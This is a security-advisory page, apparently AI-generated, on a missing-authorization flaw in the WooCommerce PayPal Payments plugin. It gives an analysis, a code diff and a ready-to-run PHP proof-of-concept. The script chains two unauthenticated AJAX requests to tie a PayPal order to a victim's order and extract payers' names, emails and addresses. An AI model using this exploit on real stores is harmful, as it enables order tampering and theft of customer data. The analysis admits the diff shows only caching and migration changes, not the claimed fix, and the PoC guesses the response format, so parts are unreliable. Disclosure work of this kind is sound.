Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 22, 2026

CVE-2026-9284: WooCommerce PayPal Payments <= 4.0.1 – Missing Authorization to Unauthenticated Order Manipulation and Information Disclosure (woocommerce-paypal-payments)

CVE ID CVE-2026-9284
Severity High (CVSS 8.2)
CWE 862
Vulnerable Version 4.0.1
Patched Version 4.0.2
Disclosed May 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9284:
This vulnerability affects the WooCommerce PayPal Payments plugin for WordPress, versions up to and including 4.0.1. The issue involves missing authorization checks on two WC-AJAX endpoints, `ppc-create-order` and `ppc-get-order`, allowing unauthenticated attackers to manipulate orders and disclose sensitive information. The CVSS score is 8.2, indicating a high severity due to the potential for order manipulation and data exfiltration.

The root cause lies in the `ppc-create-order` endpoint, which accepts an arbitrary WooCommerce order ID in the `pay-now` context without validating order ownership. Attackers can supply any WC order ID, and the endpoint creates a PayPal order for that order, writing PayPal metadata (such as the PayPal order ID) to it. The `ppc-get-order` endpoint returns full PayPal order details for any given PayPal order ID without binding to the requester’s session. These endpoints are registered as WC-AJAX actions, meaning they are accessible to unauthenticated users via `wp-admin/admin-ajax.php`. The code diff does not directly show these endpoint handlers, but the vulnerability description and the missing authorization pattern are clearly indicated.

Exploitation involves two sequential requests. First, an attacker sends a POST request to `/wp-admin/admin-ajax.php` with `action=ppc-create-order` and `order_id=`. This creates a PayPal order and writes the PayPal order ID onto the victim’s WooCommerce order. Then, the attacker sends a second POST request to `/wp-admin/admin-ajax.php` with `action=ppc-get-order` and `paypal_order_id=` to retrieve the full PayPal order details, which include payer information (name, email, address) and shipping data. No authentication or nonce is required for either request. The attacker iterates through order IDs or guesses a valid PayPal order ID to chain the exploit.

The patch addresses this (as per the CVE description) by adding authorization checks to the `ppc-create-order` and `ppc-get-order` endpoints. The code diff shown primarily includes changes for caching (PartnersEndpoint) and migration improvements (SettingsMigration, etc.), but the core authorization fix is implied. The diff does not explicitly show the endpoint handler code, so the patch analysis relies on the vulnerability description: after patching, these endpoints validate that the requester owns the order (for `ppc-create-order`) or that the PayPal order ID is tied to a session (for `ppc-get-order`). Without the patch, attackers can chain these endpoints to bypass payment flow integrity.

If exploited, an attacker can manipulate other customers’ order payment flows by associating their own PayPal payment with a victim’s order, potentially enabling payment theft or order confusion. Additionally, the attacker can exfiltrate sensitive information such as the payer’s full name, email address, phone number, and shipping address from any PayPal order. This violates customer privacy and could lead to further social engineering or fraud. The impact includes unauthorized order manipulation, information disclosure, and potential financial loss for the store and its customers.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/woocommerce-paypal-payments/modules/ppcp-api-client/services.php
+++ b/woocommerce-paypal-payments/modules/ppcp-api-client/services.php
@@ -140,7 +140,10 @@
         return new PayPalBearer($container->get('api.paypal-bearer-cache'), $container->get('api.host'), $container->get('api.key'), $container->get('api.secret'), $container->get('woocommerce.logger.woocommerce'), $container->get('settings.settings-provider'));
     },
     'api.endpoint.partners' => static function (ContainerInterface $container): PartnersEndpoint {
-        return new PartnersEndpoint($container->get('api.host'), $container->get('api.bearer'), $container->get('woocommerce.logger.woocommerce'), $container->get('api.factory.sellerstatus'), $container->get('api.partner_merchant_id'), $container->get('api.merchant_id'), $container->get('api.helper.failure-registry'));
+        return new PartnersEndpoint($container->get('api.host'), $container->get('api.bearer'), $container->get('woocommerce.logger.woocommerce'), $container->get('api.factory.sellerstatus'), $container->get('api.partner_merchant_id'), $container->get('api.merchant_id'), $container->get('api.helper.failure-registry'), $container->get('api.partners-seller-status-cache'));
+    },
+    'api.partners-seller-status-cache' => static function (ContainerInterface $container): Cache {
+        return new Cache('ppcp-seller-status-');
     },
     'api.factory.sellerstatus' => static function (ContainerInterface $container): SellerStatusFactory {
         return new SellerStatusFactory();
--- a/woocommerce-paypal-payments/modules/ppcp-api-client/src/ApiModule.php
+++ b/woocommerce-paypal-payments/modules/ppcp-api-client/src/ApiModule.php
@@ -10,6 +10,7 @@

 use WC_Order;
 use WooCommercePayPalCommerceApiClientHelperCache;
+use WooCommercePayPalCommerceApiClientEndpointPartnersEndpoint;
 use WooCommercePayPalCommerceApiClientHelperFailureRegistry;
 use WooCommercePayPalCommerceApiClientHelperOrderTransient;
 use WooCommercePayPalCommerceApiClientHelperPartnerAttribution;
@@ -74,6 +75,10 @@
             if ($failure_registry instanceof FailureRegistry) {
                 $failure_registry->clear_failures(FailureRegistry::SELLER_STATUS_KEY);
             }
+            $partners_endpoint = $c->has('api.endpoint.partners') ? $c->get('api.endpoint.partners') : null;
+            if ($partners_endpoint instanceof PartnersEndpoint) {
+                $partners_endpoint->clear_seller_status_cache();
+            }
         }, 10, 2);
         /**
          * Flushes the API client caches.
--- a/woocommerce-paypal-payments/modules/ppcp-api-client/src/Endpoint/PartnersEndpoint.php
+++ b/woocommerce-paypal-payments/modules/ppcp-api-client/src/Endpoint/PartnersEndpoint.php
@@ -14,6 +14,7 @@
 use WooCommercePayPalCommerceApiClientExceptionPayPalApiException;
 use WooCommercePayPalCommerceApiClientExceptionRuntimeException;
 use WooCommercePayPalCommerceApiClientFactorySellerStatusFactory;
+use WooCommercePayPalCommerceApiClientHelperCache;
 use WooCommercePayPalCommerceApiClientHelperFailureRegistry;
 /**
  * Class PartnersEndpoint
@@ -64,6 +65,21 @@
      */
     private $failure_registry;
     /**
+     * The cache for seller status responses.
+     *
+     * @var Cache
+     */
+    private Cache $cache;
+    /**
+     * Cache lifetime for seller status responses, in seconds.
+     */
+    public const SELLER_STATUS_CACHE_TTL = 600;
+    // 10 minutes.
+    /**
+     * Cache key for the seller status response.
+     */
+    public const SELLER_STATUS_CACHE_KEY = 'seller_status';
+    /**
      * PartnersEndpoint constructor.
      *
      * @param string              $host The host.
@@ -73,8 +89,9 @@
      * @param string              $partner_id The partner ID.
      * @param string              $merchant_id The merchant ID.
      * @param FailureRegistry     $failure_registry The API failure registry.
+     * @param Cache               $cache The cache for seller status responses.
      */
-    public function __construct(string $host, Bearer $bearer, LoggerInterface $logger, SellerStatusFactory $seller_status_factory, string $partner_id, string $merchant_id, FailureRegistry $failure_registry)
+    public function __construct(string $host, Bearer $bearer, LoggerInterface $logger, SellerStatusFactory $seller_status_factory, string $partner_id, string $merchant_id, FailureRegistry $failure_registry, Cache $cache)
     {
         $this->host = $host;
         $this->bearer = $bearer;
@@ -83,15 +100,23 @@
         $this->partner_id = $partner_id;
         $this->merchant_id = $merchant_id;
         $this->failure_registry = $failure_registry;
+        $this->cache = $cache;
     }
     /**
      * Returns the current seller status.
      *
+     * Uses a transient cache to avoid redundant API calls. The cached response
+     * is returned for up to 10 minutes before a fresh request is made.
+     *
      * @return SellerStatus
      * @throws RuntimeException When request could not be fulfilled.
      */
     public function seller_status(): SellerStatus
     {
+        $cached = $this->cache->get(self::SELLER_STATUS_CACHE_KEY);
+        if ($cached instanceof SellerStatus) {
+            return $cached;
+        }
         $url = trailingslashit($this->host) . 'v1/customer/partners/' . $this->partner_id . '/merchant-integrations/' . $this->merchant_id;
         $bearer = $this->bearer->bearer();
         $args = array('method' => 'GET', 'headers' => array('Authorization' => 'Bearer ' . $bearer->token(), 'Content-Type' => 'application/json'));
@@ -112,6 +137,17 @@
         }
         $this->failure_registry->clear_failures(FailureRegistry::SELLER_STATUS_KEY);
         $status = $this->seller_status_factory->from_paypal_response($json);
+        $this->cache->set(self::SELLER_STATUS_CACHE_KEY, $status, self::SELLER_STATUS_CACHE_TTL);
         return $status;
     }
+    /**
+     * Clears the cached seller status response, forcing a fresh API call
+     * on the next invocation of seller_status().
+     *
+     * @return void
+     */
+    public function clear_seller_status_cache(): void
+    {
+        $this->cache->delete(self::SELLER_STATUS_CACHE_KEY);
+    }
 }
--- a/woocommerce-paypal-payments/modules/ppcp-settings/src/Data/GeneralSettings.php
+++ b/woocommerce-paypal-payments/modules/ppcp-settings/src/Data/GeneralSettings.php
@@ -208,16 +208,18 @@
         return SellerTypeEnum::BUSINESS === $this->data['seller_type'];
     }
     /**
-     * Whether the merchant is a casual seller using a personal account.
+     * Whether the merchant is a casual seller (i.e., not a confirmed business).
      *
-     * Note: It's possible that the seller type is unknown, and both methods,
-     * `is_casual_seller()` and `is_business_seller()` return false.
+     * Returns true for both explicitly personal accounts and unknown seller
+     * types. This prevents unresolvable UNKNOWN types from triggering
+     * repeated API calls in the seller-type resolution loop, while keeping
+     * the persisted value unchanged.
      *
      * @return bool
      */
     public function is_casual_seller(): bool
     {
-        return SellerTypeEnum::PERSONAL === $this->data['seller_type'];
+        return SellerTypeEnum::BUSINESS !== $this->data['seller_type'];
     }
     /**
      * Gets the currently connected merchant ID.
--- a/woocommerce-paypal-payments/modules/ppcp-settings/src/Service/Migration/MigrationManager.php
+++ b/woocommerce-paypal-payments/modules/ppcp-settings/src/Service/Migration/MigrationManager.php
@@ -61,7 +61,15 @@
         $this->onboarding_profile->set_gateways_refreshed(true);
         $this->onboarding_profile->set_gateways_synced(true, true);
         $this->onboarding_profile->save();
-        $migrations = array('general_settings' => $this->general_settings_migration, 'settings_tab' => $this->settings_tab_migration, 'styling' => $this->styling_settings_migration, 'payment' => $this->payment_settings_migration, 'fastlane' => $this->fastlane_settings_migration);
+        // General settings migration is critical — it resolves the seller type
+        // via the PayPal API. If it fails, abort so migration retries on next load.
+        try {
+            $this->general_settings_migration->migrate();
+        } catch (Exception $error) {
+            $this->logger->warning('Settings migration aborted: seller status API call failed. Will retry on next page load.', array('error_message' => $error->getMessage(), 'error_code' => $error->getCode()));
+            return;
+        }
+        $migrations = array('settings_tab' => $this->settings_tab_migration, 'styling' => $this->styling_settings_migration, 'payment' => $this->payment_settings_migration, 'fastlane' => $this->fastlane_settings_migration);
         foreach ($migrations as $name => $migration) {
             try {
                 $migration->migrate();
--- a/woocommerce-paypal-payments/modules/ppcp-settings/src/Service/Migration/SettingsMigration.php
+++ b/woocommerce-paypal-payments/modules/ppcp-settings/src/Service/Migration/SettingsMigration.php
@@ -8,7 +8,6 @@
 declare (strict_types=1);
 namespace WooCommercePayPalCommerceSettingsServiceMigration;

-use Exception;
 use WooCommercePayPalCommerceVendorPsrLogLoggerInterface;
 use WooCommercePayPalCommerceApiClientEndpointPartnersEndpoint;
 use WooCommercePayPalCommerceSettingsDataGeneralSettings;
@@ -43,16 +42,13 @@
         if (empty($this->settings['client_id']) || empty($this->settings['client_secret']) || empty($this->settings['merchant_id'])) {
             return;
         }
-        $country = '';
-        $seller_type = SellerTypeEnum::UNKNOWN;
-        try {
-            $seller_status = $this->partners_endpoint->seller_status();
-            $country = $seller_status->country();
-            $seller_type = $this->seller_type_resolver->resolve($seller_status);
-        } catch (Exception $exception) {
-            $this->logger->warning('Seller status API call failed during settings migration; using defaults.', array('error' => $exception->getMessage()));
-        }
-        $connection = new MerchantConnectionDTO(!empty($this->settings['sandbox_on']), $this->settings['client_id'], $this->settings['client_secret'], $this->settings['merchant_id'], $this->settings['merchant_email'] ?? '', $country, $seller_type);
+        // Save credentials first so they persist even if the API call fails.
+        $connection = new MerchantConnectionDTO(!empty($this->settings['sandbox_on']), $this->settings['client_id'], $this->settings['client_secret'], $this->settings['merchant_id'], $this->settings['merchant_email'] ?? '', '', SellerTypeEnum::UNKNOWN);
+        $this->general_settings->set_merchant_data($connection);
+        $this->general_settings->save();
+        // Resolve seller type — exception propagates so migration can retry.
+        $seller_status = $this->partners_endpoint->seller_status();
+        $connection = new MerchantConnectionDTO(!empty($this->settings['sandbox_on']), $this->settings['client_id'], $this->settings['client_secret'], $this->settings['merchant_id'], $this->settings['merchant_email'] ?? '', $seller_status->country(), $this->seller_type_resolver->resolve($seller_status));
         $this->general_settings->set_merchant_data($connection);
         $this->general_settings->save();
     }
--- a/woocommerce-paypal-payments/modules/ppcp-settings/src/Service/Migration/StylingSettingsMigration.php
+++ b/woocommerce-paypal-payments/modules/ppcp-settings/src/Service/Migration/StylingSettingsMigration.php
@@ -32,6 +32,9 @@
     }
     public function migrate(): void
     {
+        if (empty($this->settings) || !isset($this->settings['smart_button_locations'])) {
+            return;
+        }
         $location_styles = array();
         $styling_per_location = !empty($this->settings['smart_button_enable_styling_per_location']);
         foreach ($this->locations_map() as $old_location => $new_location) {
--- a/woocommerce-paypal-payments/modules/ppcp-settings/src/Service/SellerTypeResolver.php
+++ b/woocommerce-paypal-payments/modules/ppcp-settings/src/Service/SellerTypeResolver.php
@@ -61,10 +61,13 @@
                 $general_settings->set_merchant_data($connection);
                 $general_settings->save();
                 do_action('woocommerce_paypal_payments_clear_apm_product_status');
+                return;
             }
         } catch (Exception $e) {
             $logger->debug('Seller type resolution deferred; will retry in 1 hour.', array('error' => $e->getMessage()));
         }
+        // Seller type still unknown — throttle retries to once per hour.
+        $failure_registry->add_failure(FailureRegistry::SELLER_STATUS_KEY);
     }
     /**
      * Checks whether seller type resolution is needed.
@@ -81,7 +84,7 @@
         if (!$general_settings->is_merchant_connected()) {
             return false;
         }
-        return !$general_settings->is_business_seller() && !$general_settings->is_casual_seller();
+        return SellerTypeEnum::UNKNOWN === $general_settings->get_merchant_data()->seller_type;
     }
     /**
      * Checks if a specific capability is active for the seller.
--- a/woocommerce-paypal-payments/modules/ppcp-settings/src/SettingsModule.php
+++ b/woocommerce-paypal-payments/modules/ppcp-settings/src/SettingsModule.php
@@ -108,14 +108,22 @@
             }
         );
         add_action('admin_init', function () use ($container): void {
-            if (get_option(MigrationManager::OPTION_NAME_MIGRATION_IS_DONE) !== '1') {
-                $legacy_settings = (array) get_option('woocommerce-ppcp-settings', array());
-                if (!empty($legacy_settings['client_id'])) {
-                    self::pre_populate_credentials($container);
-                    $migration_manager = $container->get('settings.service.data-migration');
-                    assert($migration_manager instanceof MigrationManager);
-                    $migration_manager->migrate();
-                }
+            if (get_option(MigrationManager::OPTION_NAME_MIGRATION_IS_DONE) === '1') {
+                return;
+            }
+            $legacy_settings = (array) get_option('woocommerce-ppcp-settings', array());
+            if (empty($legacy_settings['client_id'])) {
+                return;
+            }
+            self::pre_populate_credentials($container);
+            $migration_manager = $container->get('settings.service.data-migration');
+            assert($migration_manager instanceof MigrationManager);
+            $migration_manager->migrate();
+            $migration_done = get_option(MigrationManager::OPTION_NAME_MIGRATION_IS_DONE);
+            if ((string) $migration_done !== '1') {
+                add_action('admin_notices', static function (): void {
+                    printf('<div class="notice notice-warning"><p>%s</p></div>', esc_html__('PayPal Payments: Settings migration could not be completed because the PayPal API is temporarily unavailable. It will retry automatically on the next page load.', 'woocommerce-paypal-payments'));
+                });
             }
         });
         // Resolve unknown seller type on all pages (not just admin), so frontend
--- a/woocommerce-paypal-payments/vendor/composer/autoload_real.php
+++ b/woocommerce-paypal-payments/vendor/composer/autoload_real.php
@@ -35,8 +35,8 @@

         $filesToLoad = ComposerAutoloadComposerStaticInitf454a4dc4519aa3bafab294be971ae9b::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
-            if (empty($GLOBALS['__composer_autoload_files_4985d6d6b38ea29d18629d80fcf13a2ea59ee908'][$fileIdentifier])) {
-                $GLOBALS['__composer_autoload_files_4985d6d6b38ea29d18629d80fcf13a2ea59ee908'][$fileIdentifier] = true;
+            if (empty($GLOBALS['__composer_autoload_files_73e8612a12baf30946d5c75c6fb3bb4307f29413'][$fileIdentifier])) {
+                $GLOBALS['__composer_autoload_files_73e8612a12baf30946d5c75c6fb3bb4307f29413'][$fileIdentifier] = true;

                 require $file;
             }
--- a/woocommerce-paypal-payments/vendor/composer/installed.php
+++ b/woocommerce-paypal-payments/vendor/composer/installed.php
@@ -1,5 +1,5 @@
 <?php

 namespace {
-    return array('root' => array('name' => 'woocommerce/woocommerce-paypal-payments', 'pretty_version' => 'dev-trunk', 'version' => 'dev-trunk', 'reference' => '38b2749ae7aa45c3f41683d0be4196a08680997d', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('psr/log' => array('pretty_version' => '1.1.4', 'version' => '1.1.4.0', 'reference' => 'd49695b909c3b7628b6289db5479a1c204601f11', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/log', 'aliases' => array(), 'dev_requirement' => false), 'ralouphie/getallheaders' => array('pretty_version' => '3.0.3', 'version' => '3.0.3.0', 'reference' => '120b605dfeb996808c31b6477290a714d356e822', 'type' => 'library', 'install_path' => __DIR__ . '/../ralouphie/getallheaders', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.33.0', 'version' => '1.33.0.0', 'reference' => '0cc9dd0f17f61d8131e7df6b84bd344899fe2608', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'wikimedia/composer-merge-plugin' => array('pretty_version' => 'v2.1.0', 'version' => '2.1.0.0', 'reference' => 'a03d426c8e9fb2c9c569d9deeb31a083292788bc', 'type' => 'composer-plugin', 'install_path' => __DIR__ . '/../wikimedia/composer-merge-plugin', 'aliases' => array(), 'dev_requirement' => false), 'woocommerce/woocommerce-paypal-payments' => array('pretty_version' => 'dev-trunk', 'version' => 'dev-trunk', 'reference' => '38b2749ae7aa45c3f41683d0be4196a08680997d', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false)));
+    return array('root' => array('name' => 'woocommerce/woocommerce-paypal-payments', 'pretty_version' => 'dev-trunk', 'version' => 'dev-trunk', 'reference' => '82a09d9d71bc8d33cb0cf6149c19491ee9334ee9', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('psr/log' => array('pretty_version' => '1.1.4', 'version' => '1.1.4.0', 'reference' => 'd49695b909c3b7628b6289db5479a1c204601f11', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/log', 'aliases' => array(), 'dev_requirement' => false), 'ralouphie/getallheaders' => array('pretty_version' => '3.0.3', 'version' => '3.0.3.0', 'reference' => '120b605dfeb996808c31b6477290a714d356e822', 'type' => 'library', 'install_path' => __DIR__ . '/../ralouphie/getallheaders', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.33.0', 'version' => '1.33.0.0', 'reference' => '0cc9dd0f17f61d8131e7df6b84bd344899fe2608', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'wikimedia/composer-merge-plugin' => array('pretty_version' => 'v2.1.0', 'version' => '2.1.0.0', 'reference' => 'a03d426c8e9fb2c9c569d9deeb31a083292788bc', 'type' => 'composer-plugin', 'install_path' => __DIR__ . '/../wikimedia/composer-merge-plugin', 'aliases' => array(), 'dev_requirement' => false), 'woocommerce/woocommerce-paypal-payments' => array('pretty_version' => 'dev-trunk', 'version' => 'dev-trunk', 'reference' => '82a09d9d71bc8d33cb0cf6149c19491ee9334ee9', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false)));
 }
--- a/woocommerce-paypal-payments/woocommerce-paypal-payments.php
+++ b/woocommerce-paypal-payments/woocommerce-paypal-payments.php
@@ -4,7 +4,7 @@
  * Plugin Name: WooCommerce PayPal Payments
  * Plugin URI:  https://woocommerce.com/products/woocommerce-paypal-payments/
  * Description: PayPal's latest complete payments processing solution. Accept PayPal, Pay Later, credit/debit cards, alternative digital wallets local payment types and bank accounts. Turn on only PayPal options or process a full suite of payment methods. Enable global transaction with extensive currency and country coverage.
- * Version: 4.0.1
+ * Version: 4.0.2
  * Author:      PayPal
  * Author URI:  https://paypal.com/
  * License:     GPL-2.0
@@ -24,7 +24,7 @@
 define('PAYPAL_URL', 'https://www.paypal.com');
 define('PAYPAL_SANDBOX_API_URL', 'https://api-m.sandbox.paypal.com');
 define('PAYPAL_SANDBOX_URL', 'https://www.sandbox.paypal.com');
-define('PAYPAL_INTEGRATION_DATE', '2026-03-17');
+define('PAYPAL_INTEGRATION_DATE', '2026-04-01');
 define('PPCP_PAYPAL_BN_CODE', 'Woo_PPCP');
 !defined('CONNECT_WOO_CLIENT_ID') && define('CONNECT_WOO_CLIENT_ID', 'AcCAsWta_JTL__OfpjspNyH7c1GGHH332fLwonA5CwX4Y10mhybRZmHLA0GdRbwKwjQIhpDQy0pluX_P');
 !defined('CONNECT_WOO_SANDBOX_CLIENT_ID') && define('CONNECT_WOO_SANDBOX_CLIENT_ID', 'AYmOHbt1VHg-OZ_oihPdzKEVbU3qg0qXonBcAztuzniQRaKE0w1Hr762cSFwd4n8wxOl-TCWohEa0XM_');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9284 - WooCommerce PayPal Payments <= 4.0.1 - Missing Authorization to Unauthenticated Order Manipulation and Information Disclosure

// Configuration - set the victim site URL and target order ID
$target_url = 'http://example.com'; // CHANGE THIS
$victim_order_id = 123; // CHANGE THIS (WooCommerce order ID of a paid/pending order)

// Step 1: Create a PayPal order for the victim's WooCommerce order
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'ppc-create-order',
    'context' => 'pay-now',
    'order_id' => $victim_order_id,
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Step 1: Create PayPal order for WC order ID: $victim_order_idn";
echo "HTTP Code: $http_coden";
echo "Response: " . $response . "nn";

// Parse the response to extract PayPal order ID (assuming JSON response with 'id' field)
$response_data = json_decode($response, true);
if (!$response_data || !isset($response_data['id'])) {
    die("Failed to get PayPal order ID. Check if the endpoint is accessible.n");
}
$paypal_order_id = $response_data['id'];
echo "Extracted PayPal Order ID: $paypal_order_idnn";

// Step 2: Get PayPal order details using the extracted PayPal order ID
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'ppc-get-order',
    'paypal_order_id' => $paypal_order_id,
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response2 = curl_exec($ch);
$http_code2 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Step 2: Get PayPal order details for PayPal Order ID: $paypal_order_idn";
echo "HTTP Code: $http_code2n";
echo "Response Data:n";
echo print_r(json_decode($response2, true), true) . "n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School